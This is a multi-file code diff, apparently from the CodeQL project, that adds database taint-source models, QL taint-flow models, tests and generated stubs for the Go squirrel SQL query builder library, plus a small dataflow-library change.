`Standard library <https://pkg.go.dev/std>`_,"````, ``archive/*``, ``bufio``, ``bytes``, ``cmp``, ``compress/*``, ``container/*``, ``context``, ``crypto``, ``crypto/*``, ``database/*``, ``debug/*``, ``embed``, ``encoding``, ``encoding/*``, ``errors``, ``expvar``, ``flag``, ``fmt``, ``go/*``, ``hash``, ``hash/*``, ``html``, ``html/*``, ``image``, ``image/*``, ``index/*``, ``io``, ``io/*``, ``log``, ``log/*``, ``maps``, ``math``, ``math/*``, ``mime``, ``mime/*``, ``net``, ``net/*``, ``os``, ``os/*``, ``path``, ``path/*``, ``plugin``, ``reflect``, ``reflect/*``, ``regexp``, ``regexp/*``, ``slices``, ``sort``, ``strconv``, ``strings``, ``sync``, ``sync/*``, ``syscall``, ``syscall/*``, ``testing``, ``testing/*``, ``text/*``, ``time``, ``time/*``, ``unicode``, ``unicode/*``, ``unsafe``, ``weak``",52,609,104
`XORM <https://xorm.io>`_,"``github.com/go-xorm/xorm*``, ``xorm.io/xorm*``",,,68
`XPath <https://github.com/antchfx/xpath>`_,``github.com/antchfx/xpath*``,,,4
@@ -74,5 +74,5 @@ Go framework & library support
`yaml <https://gopkg.in/yaml.v3>`_,``gopkg.in/yaml*``,,9,
`zap <https://go.uber.org/zap>`_,``go.uber.org/zap*``,,11,33
Others,``github.com/kanikanema/gorqlite``,8,2,24
Totals,,560,1048,1556
Totals,,641,1048,1556

View File

@@ -0,0 +1,5 @@
---
category: minorAnalysis
---
* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package.

View File

@@ -6,6 +6,37 @@ extensions:
- ["squirrel", "github.com/Masterminds/squirrel"]
- ["squirrel", "gopkg.in/Masterminds/squirrel"]
- ["squirrel", "github.com/lann/squirrel"]
- addsTo:
pack: codeql/go-all
extensible: sourceModel
data:
- ["group:squirrel", "", True, "QueryContextWith", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "", True, "QueryRowContextWith", "", "", "ReturnValue", "database", "manual"]
- ["group:squirrel", "", True, "QueryRowWith", "", "", "ReturnValue", "database", "manual"]
- ["group:squirrel", "", True, "QueryWith", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "DeleteBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "DeleteBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "DeleteBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "InsertBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "InsertBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "InsertBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "InsertBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "QueryRower", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "QueryRowerContext", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "Queryer", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "QueryerContext", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "SelectBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "SelectBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "SelectBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "SelectBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "StdSql", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "StdSql", True, "QueryRow", "", "", "ReturnValue", "database", "manual"]
- ["group:squirrel", "StdSqlCtx", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "StdSqlCtx", True, "QueryRowContext", "", "", "ReturnValue", "database", "manual"]
- ["group:squirrel", "UpdateBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "UpdateBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "UpdateBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
- ["group:squirrel", "UpdateBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
- addsTo:
pack: codeql/go-all
extensible: sinkModel
@@ -49,3 +80,5 @@ extensions:
- ["group:squirrel", "UpdateBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
- ["group:squirrel", "UpdateBuilder", True, "Table", "", "", "Argument[0]", "sql-injection", "manual"]
# UpdateBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
# There are summary models for Row.Scan, RowScanner.Scan, {Insert,Delete,Select,Update}Builder.Scan and {Insert,Delete,Select,Update}Builder.ScanContext modeled in QL

View File

@@ -57,6 +57,7 @@ import semmle.go.frameworks.Protobuf
import semmle.go.frameworks.Revel
import semmle.go.frameworks.Spew
import semmle.go.frameworks.SQL
import semmle.go.frameworks.Squirrel
import semmle.go.frameworks.Stdlib
import semmle.go.frameworks.SystemCommandExecutors
import semmle.go.frameworks.Testing

View File

@@ -0,0 +1,85 @@
/**
* Provides classes modeling security-relevant aspects of the `squirrel` ORM package.
*/
import go
/**
* Provides classes modeling security-relevant aspects of the `squirrel` ORM package.
*/
module Squirrel {
private string packagePath() {
result =
package([
"github.com/Masterminds/squirrel",
"github.com/lann/squirrel",
"gopkg.in/Masterminds/squirrel",
], "")
}
private class RowScan extends TaintTracking::FunctionModel, Method {
FunctionInput inp;
FunctionOutput outp;
RowScan() {
// signature: func (r *Row) Scan(dest ...interface{}) error
this.hasQualifiedName(packagePath(), "Row", "Scan") and
inp.isReceiver() and
outp.isParameter(_)
}
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
input = inp and output = outp
}
}
private class RowScannerScan extends TaintTracking::FunctionModel, Method {
FunctionInput inp;
FunctionOutput outp;
RowScannerScan() {
// signature: func (rs *RowScanner) Scan(dest ...interface{}) error
this.hasQualifiedName(packagePath(), "RowScanner", "Scan") and
inp.isReceiver() and
outp.isParameter(_)
}
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
input = inp and output = outp
}
}
private class BuilderScan extends TaintTracking::FunctionModel, Method {
FunctionInput inp;
FunctionOutput outp;
BuilderScan() {
// signature: func (b {Insert,Delete,Select,Update}Builder) Scan(dest ...interface{}) error
this.hasQualifiedName(packagePath(),
["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "Scan") and
inp.isReceiver() and
outp.isParameter(_)
}
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
input = inp and output = outp
}
}
private class BuilderScanContext extends TaintTracking::FunctionModel, Method {
FunctionInput inp;
FunctionOutput outp;
BuilderScanContext() {
// signature: func (b {Insert,Delete,Select,Update}Builder) ScanContext(ctx context.Context, dest ...interface{}) error
this.hasQualifiedName(packagePath(),
["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "ScanContext") and
inp.isReceiver() and
exists(int i | i > 0 | outp.isParameter(i))
}
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
input = inp and output = outp
}
}
}

View File

@@ -8,9 +8,11 @@ require (
github.com/couchbase/gocb v1.6.7
github.com/couchbase/gocb/v2 v2.9.4
github.com/jmoiron/sqlx v1.4.0
github.com/Masterminds/squirrel v1.5.4
github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a
go.mongodb.org/mongo-driver v1.17.3
gorm.io/gorm v1.25.12
github.com/nonexistent/sources v0.0.0-20250300000000-000000000000
)
require (

View File

@@ -3,4 +3,9 @@ extensions:
pack: codeql/threat-models
extensible: threatModelConfiguration
data:
- ["database", true, 0]
- ["database", true, 0]
- addsTo:
pack: codeql/go-all
extensible: sourceModel
data:
- ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"]

View File

@@ -5,3 +5,9 @@ extensions:
extensible: threatModelConfiguration
data:
- ["database", true, 0]
- addsTo:
pack: codeql/go-all
extensible: sourceModel
data:
- ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"]

View File

@@ -0,0 +1,291 @@
package test
//go:generate depstubber -vendor github.com/Masterminds/squirrel DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith
import (
"context"
"github.com/Masterminds/squirrel"
src "github.com/nonexistent/sources"
)
func test_Masterminds_squirrel_QueryRower(ctx context.Context, db squirrel.QueryRower, sqlizer squirrel.Sqlizer) {
scanner := db.QueryRow("") // $ source
var r1, r2, r3 string
scanner.Scan(&r1, &r2, &r3)
sink(r1) // $ hasTaintFlow="r1"
sink(r2) // $ hasTaintFlow="r2"
sink(r3) // $ hasTaintFlow="r3"
scanner2 := squirrel.QueryRowWith(db, sqlizer) // $ source
var r4, r5, r6 string
scanner2.Scan(&r4, &r5, &r6)
sink(r4) // $ hasTaintFlow="r4"
sink(r5) // $ hasTaintFlow="r5"
sink(r6) // $ hasTaintFlow="r6"
}
func test_Masterminds_squirrel_QueryRowerContext(ctx context.Context, db squirrel.QueryRowerContext, sqlizer squirrel.Sqlizer) {
scanner := db.QueryRowContext(ctx, "") // $ source
var r1, r2, r3 string
scanner.Scan(&r1, &r2, &r3)
sink(r1) // $ hasTaintFlow="r1"
sink(r2) // $ hasTaintFlow="r2"
sink(r3) // $ hasTaintFlow="r3"
scanner2 := squirrel.QueryRowContextWith(ctx, db, sqlizer) // $ source
var r4, r5, r6 string
scanner2.Scan(&r4, &r5, &r6)
sink(r4) // $ hasTaintFlow="r4"
sink(r5) // $ hasTaintFlow="r5"
sink(r6) // $ hasTaintFlow="r6"
}
func test_Masterminds_squirrel_Queryer(ctx context.Context, db squirrel.Queryer, sqlizer squirrel.Sqlizer) {
v1, err := db.Query("") // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := squirrel.QueryWith(db, sqlizer) // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
}
func test_Masterminds_squirrel_QueryerContext(ctx context.Context, db squirrel.QueryerContext, sqlizer squirrel.Sqlizer) {
v1, err := db.QueryContext(ctx, "") // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := squirrel.QueryContextWith(ctx, db, sqlizer) // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
}
// StdSqlCtx extends StdSql so we can test both with a StdSqlCtx
func test_Masterminds_squirrel_StdSql_StdSqlCtx(ctx context.Context, std squirrel.StdSqlCtx) {
v1, err := std.Query("") // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := std.QueryContext(ctx, "") // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
s3 := std.QueryRow("") // $ source
if err != nil {
return
}
var r31, r32, r33 string
s3.Scan(&r31, &r32, &r33)
sink(r31) // $ hasTaintFlow="r31"
sink(r32) // $ hasTaintFlow="r32"
sink(r33) // $ hasTaintFlow="r33"
s4 := std.QueryRowContext(ctx, "") // $ source
var r41, r42, r43 string
s4.Scan(&r41, &r42, &r43)
sink(r41) // $ hasTaintFlow="r41"
sink(r42) // $ hasTaintFlow="r42"
sink(r43) // $ hasTaintFlow="r43"
}
func test_Masterminds_squirrel_DeleteBuilder(ctx context.Context, builder squirrel.DeleteBuilder) {
v1, err := builder.Query() // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := builder.QueryContext(ctx) // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
s3 := builder.QueryRowContext(ctx) // $ source
var r31, r32, r33 string
s3.Scan(&r31, &r32, &r33)
sink(r31) // $ hasTaintFlow="r31"
sink(r32) // $ hasTaintFlow="r32"
sink(r33) // $ hasTaintFlow="r33"
builder2 := src.Source[squirrel.DeleteBuilder]() // $ source
var r41, r42, r43 string
builder2.ScanContext(ctx, &r41, &r42, &r43)
sink(r41) // $ hasTaintFlow="r41"
sink(r42) // $ hasTaintFlow="r42"
sink(r43) // $ hasTaintFlow="r43"
}
func test_Masterminds_squirrel_InsertBuilder(ctx context.Context, builder squirrel.InsertBuilder) {
v1, err := builder.Query() // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := builder.QueryContext(ctx) // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
s3 := builder.QueryRow() // $ source
var r31, r32, r33 string
s3.Scan(&r31, &r32, &r33)
sink(r31) // $ hasTaintFlow="r31"
sink(r32) // $ hasTaintFlow="r32"
sink(r33) // $ hasTaintFlow="r33"
s4 := builder.QueryRowContext(ctx) // $ source
var r41, r42, r43 string
s4.Scan(&r41, &r42, &r43)
sink(r41) // $ hasTaintFlow="r41"
sink(r42) // $ hasTaintFlow="r42"
sink(r43) // $ hasTaintFlow="r43"
builder2 := src.Source[squirrel.InsertBuilder]() // $ source
var r51, r52, r53 string
builder2.Scan(&r51, &r52, &r53)
sink(r51) // $ hasTaintFlow="r51"
sink(r52) // $ hasTaintFlow="r52"
sink(r53) // $ hasTaintFlow="r53"
var r61, r62, r63 string
builder2.ScanContext(ctx, &r61, &r62, &r63)
sink(r61) // $ hasTaintFlow="r61"
sink(r62) // $ hasTaintFlow="r62"
sink(r63) // $ hasTaintFlow="r63"
}
func test_Masterminds_squirrel_SelectBuilder(ctx context.Context, builder squirrel.SelectBuilder) {
v1, err := builder.Query() // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := builder.QueryContext(ctx) // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
s3 := builder.QueryRow() // $ source
var r31, r32, r33 string
s3.Scan(&r31, &r32, &r33)
sink(r31) // $ hasTaintFlow="r31"
sink(r32) // $ hasTaintFlow="r32"
sink(r33) // $ hasTaintFlow="r33"
s4 := builder.QueryRowContext(ctx) // $ source
var r41, r42, r43 string
s4.Scan(&r41, &r42, &r43)
sink(r41) // $ hasTaintFlow="r41"
sink(r42) // $ hasTaintFlow="r42"
sink(r43) // $ hasTaintFlow="r43"
builder2 := src.Source[squirrel.SelectBuilder]() // $ source
var r51, r52, r53 string
builder2.Scan(&r51, &r52, &r53)
sink(r51) // $ hasTaintFlow="r51"
sink(r52) // $ hasTaintFlow="r52"
sink(r53) // $ hasTaintFlow="r53"
var r61, r62, r63 string
builder2.ScanContext(ctx, &r61, &r62, &r63)
sink(r61) // $ hasTaintFlow="r61"
sink(r62) // $ hasTaintFlow="r62"
sink(r63) // $ hasTaintFlow="r63"
}
func test_Masterminds_squirrel_UpdateBuilder(ctx context.Context, builder squirrel.UpdateBuilder) {
v1, err := builder.Query() // $ source
if err != nil {
return
}
sink(v1) // $ hasTaintFlow="v1"
v2, err := builder.QueryContext(ctx) // $ source
if err != nil {
return
}
sink(v2) // $ hasTaintFlow="v2"
s3 := builder.QueryRow() // $ source
var r31, r32, r33 string
s3.Scan(&r31, &r32, &r33)
sink(r31) // $ hasTaintFlow="r31"
sink(r32) // $ hasTaintFlow="r32"
sink(r33) // $ hasTaintFlow="r33"
s4 := builder.QueryRowContext(ctx) // $ source
var r41, r42, r43 string
s4.Scan(&r41, &r42, &r43)
sink(r41) // $ hasTaintFlow="r41"
sink(r42) // $ hasTaintFlow="r42"
sink(r43) // $ hasTaintFlow="r43"
builder2 := src.Source[squirrel.UpdateBuilder]() // $ source
var r51, r52, r53 string
builder2.Scan(&r51, &r52, &r53)
sink(r51) // $ hasTaintFlow="r51"
sink(r52) // $ hasTaintFlow="r52"
sink(r53) // $ hasTaintFlow="r53"
var r61, r62, r63 string
builder2.ScanContext(ctx, &r61, &r62, &r63)
sink(r61) // $ hasTaintFlow="r61"
sink(r62) // $ hasTaintFlow="r62"
sink(r63) // $ hasTaintFlow="r63"
}

View File

@@ -0,0 +1,501 @@
// Code generated by depstubber. DO NOT EDIT.
// This is a simple stub for github.com/Masterminds/squirrel, strictly for use in testing.
// See the LICENSE file for information about the licensing of the original library.
// Source: github.com/Masterminds/squirrel (exports: DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder; functions: QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith)
// Package squirrel is a stub of github.com/Masterminds/squirrel, generated by depstubber.
package squirrel
import (
context "context"
sql "database/sql"
)
type BaseRunner interface {
Exec(_ string, _ ...interface{}) (sql.Result, error)
Query(_ string, _ ...interface{}) (*sql.Rows, error)
}
type DeleteBuilder struct{}
func (_ DeleteBuilder) Exec() (sql.Result, error) {
return nil, nil
}
func (_ DeleteBuilder) ExecContext(_ context.Context) (sql.Result, error) {
return nil, nil
}
func (_ DeleteBuilder) From(_ string) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) Limit(_ uint64) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) MustSql() (string, []interface{}) {
return "", nil
}
func (_ DeleteBuilder) Offset(_ uint64) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) OrderBy(_ ...string) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) PlaceholderFormat(_ PlaceholderFormat) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) Prefix(_ string, _ ...interface{}) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) PrefixExpr(_ Sqlizer) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) Query() (*sql.Rows, error) {
return nil, nil
}
func (_ DeleteBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
return nil, nil
}
func (_ DeleteBuilder) QueryRowContext(_ context.Context) RowScanner {
return nil
}
func (_ DeleteBuilder) RunWith(_ BaseRunner) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
return nil
}
func (_ DeleteBuilder) Suffix(_ string, _ ...interface{}) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) SuffixExpr(_ Sqlizer) DeleteBuilder {
return DeleteBuilder{}
}
func (_ DeleteBuilder) ToSql() (string, []interface{}, error) {
return "", nil, nil
}
func (_ DeleteBuilder) Where(_ interface{}, _ ...interface{}) DeleteBuilder {
return DeleteBuilder{}
}
type InsertBuilder struct{}
func (_ InsertBuilder) Columns(_ ...string) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) Exec() (sql.Result, error) {
return nil, nil
}
func (_ InsertBuilder) ExecContext(_ context.Context) (sql.Result, error) {
return nil, nil
}
func (_ InsertBuilder) Into(_ string) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) MustSql() (string, []interface{}) {
return "", nil
}
func (_ InsertBuilder) Options(_ ...string) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) PlaceholderFormat(_ PlaceholderFormat) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) Prefix(_ string, _ ...interface{}) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) PrefixExpr(_ Sqlizer) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) Query() (*sql.Rows, error) {
return nil, nil
}
func (_ InsertBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
return nil, nil
}
func (_ InsertBuilder) QueryRow() RowScanner {
return nil
}
func (_ InsertBuilder) QueryRowContext(_ context.Context) RowScanner {
return nil
}
func (_ InsertBuilder) RunWith(_ BaseRunner) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) Scan(_ ...interface{}) error {
return nil
}
func (_ InsertBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
return nil
}
func (_ InsertBuilder) Select(_ SelectBuilder) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) SetMap(_ map[string]interface{}) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) Suffix(_ string, _ ...interface{}) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) SuffixExpr(_ Sqlizer) InsertBuilder {
return InsertBuilder{}
}
func (_ InsertBuilder) ToSql() (string, []interface{}, error) {
return "", nil, nil
}
func (_ InsertBuilder) Values(_ ...interface{}) InsertBuilder {
return InsertBuilder{}
}
type PlaceholderFormat interface {
ReplacePlaceholders(_ string) (string, error)
}
func QueryContextWith(_ context.Context, _ QueryerContext, _ Sqlizer) (*sql.Rows, error) {
return nil, nil
}
func QueryRowContextWith(_ context.Context, _ QueryRowerContext, _ Sqlizer) RowScanner {
return nil
}
func QueryRowWith(_ QueryRower, _ Sqlizer) RowScanner {
return nil
}
type QueryRower interface {
QueryRow(_ string, _ ...interface{}) RowScanner
}
type QueryRowerContext interface {
QueryRowContext(_ context.Context, _ string, _ ...interface{}) RowScanner
}
func QueryWith(_ Queryer, _ Sqlizer) (*sql.Rows, error) {
return nil, nil
}
type Queryer interface {
Query(_ string, _ ...interface{}) (*sql.Rows, error)
}
type QueryerContext interface {
QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
}
type RowScanner interface {
Scan(_ ...interface{}) error
}
type SelectBuilder struct{}
func (_ SelectBuilder) Column(_ interface{}, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Columns(_ ...string) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) CrossJoin(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Distinct() SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Exec() (sql.Result, error) {
return nil, nil
}
func (_ SelectBuilder) ExecContext(_ context.Context) (sql.Result, error) {
return nil, nil
}
func (_ SelectBuilder) From(_ string) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) FromSelect(_ SelectBuilder, _ string) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) GroupBy(_ ...string) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Having(_ interface{}, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) InnerJoin(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Join(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) JoinClause(_ interface{}, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) LeftJoin(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Limit(_ uint64) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) MustSql() (string, []interface{}) {
return "", nil
}
func (_ SelectBuilder) Offset(_ uint64) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Options(_ ...string) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) OrderBy(_ ...string) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) OrderByClause(_ interface{}, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) PlaceholderFormat(_ PlaceholderFormat) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Prefix(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) PrefixExpr(_ Sqlizer) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Query() (*sql.Rows, error) {
return nil, nil
}
func (_ SelectBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
return nil, nil
}
func (_ SelectBuilder) QueryRow() RowScanner {
return nil
}
func (_ SelectBuilder) QueryRowContext(_ context.Context) RowScanner {
return nil
}
func (_ SelectBuilder) RemoveColumns() SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) RemoveLimit() SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) RemoveOffset() SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) RightJoin(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) RunWith(_ BaseRunner) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) Scan(_ ...interface{}) error {
return nil
}
func (_ SelectBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
return nil
}
func (_ SelectBuilder) Suffix(_ string, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) SuffixExpr(_ Sqlizer) SelectBuilder {
return SelectBuilder{}
}
func (_ SelectBuilder) ToSql() (string, []interface{}, error) {
return "", nil, nil
}
func (_ SelectBuilder) Where(_ interface{}, _ ...interface{}) SelectBuilder {
return SelectBuilder{}
}
type Sqlizer interface {
ToSql() (string, []interface{}, error)
}
type StdSql interface {
Exec(_ string, _ ...interface{}) (sql.Result, error)
Query(_ string, _ ...interface{}) (*sql.Rows, error)
QueryRow(_ string, _ ...interface{}) *sql.Row
}
type StdSqlCtx interface {
Exec(_ string, _ ...interface{}) (sql.Result, error)
ExecContext(_ context.Context, _ string, _ ...interface{}) (sql.Result, error)
Query(_ string, _ ...interface{}) (*sql.Rows, error)
QueryContext(_ context.Context, _ string, _ ...interface{}) (*sql.Rows, error)
QueryRow(_ string, _ ...interface{}) *sql.Row
QueryRowContext(_ context.Context, _ string, _ ...interface{}) *sql.Row
}
type UpdateBuilder struct{}
func (_ UpdateBuilder) Exec() (sql.Result, error) {
return nil, nil
}
func (_ UpdateBuilder) ExecContext(_ context.Context) (sql.Result, error) {
return nil, nil
}
func (_ UpdateBuilder) From(_ string) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) FromSelect(_ SelectBuilder, _ string) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) Limit(_ uint64) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) MustSql() (string, []interface{}) {
return "", nil
}
func (_ UpdateBuilder) Offset(_ uint64) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) OrderBy(_ ...string) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) PlaceholderFormat(_ PlaceholderFormat) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) Prefix(_ string, _ ...interface{}) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) PrefixExpr(_ Sqlizer) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) Query() (*sql.Rows, error) {
return nil, nil
}
func (_ UpdateBuilder) QueryContext(_ context.Context) (*sql.Rows, error) {
return nil, nil
}
func (_ UpdateBuilder) QueryRow() RowScanner {
return nil
}
func (_ UpdateBuilder) QueryRowContext(_ context.Context) RowScanner {
return nil
}
func (_ UpdateBuilder) RunWith(_ BaseRunner) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) Scan(_ ...interface{}) error {
return nil
}
func (_ UpdateBuilder) ScanContext(_ context.Context, _ ...interface{}) error {
return nil
}
func (_ UpdateBuilder) Set(_ string, _ interface{}) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) SetMap(_ map[string]interface{}) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) Suffix(_ string, _ ...interface{}) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) SuffixExpr(_ Sqlizer) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) Table(_ string) UpdateBuilder {
return UpdateBuilder{}
}
func (_ UpdateBuilder) ToSql() (string, []interface{}, error) {
return "", nil, nil
}
func (_ UpdateBuilder) Where(_ interface{}, _ ...interface{}) UpdateBuilder {
return UpdateBuilder{}
}

View File

@@ -0,0 +1,5 @@
package sources
func Source[T any]() T {
return *new(T)
}

View File

@@ -13,6 +13,9 @@ github.com/couchbase/gocb/v2
# github.com/jmoiron/sqlx v1.4.0
## explicit
github.com/jmoiron/sqlx
# github.com/Masterminds/squirrel v1.5.4
## explicit
github.com/Masterminds/squirrel
# github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a
## explicit
github.com/rqlite/gorqlite
@@ -22,6 +25,9 @@ go.mongodb.org/mongo-driver/mongo
# gorm.io/gorm v1.25.12
## explicit
gorm.io/gorm
# github.com/nonexistent/sources v0.0.0-20250300000000-000000000000
## explicit
github.com/nonexistent/sources
# github.com/couchbase/gocbcore/v10 v10.5.4
## explicit
github.com/couchbase/gocbcore/v10

View File

@@ -680,10 +680,17 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
}
}
/** Holds if the guard `guard` directly controls block `bb` upon evaluating to `branch`. */
predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
guard.directlyControls(bb, branch)
}
/** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
guard.controls(bb, branch)
}
predicate includeWriteDefsInFlowStep() { none() }
}
private module DataFlowIntegrationImpl = Impl::DataFlowIntegration<DataFlowIntegrationInput>;

View File

@@ -1,10 +1,7 @@
| A.java:14:14:14:16 | "A" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [p] |
| A.java:14:14:14:16 | "A" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [p] |
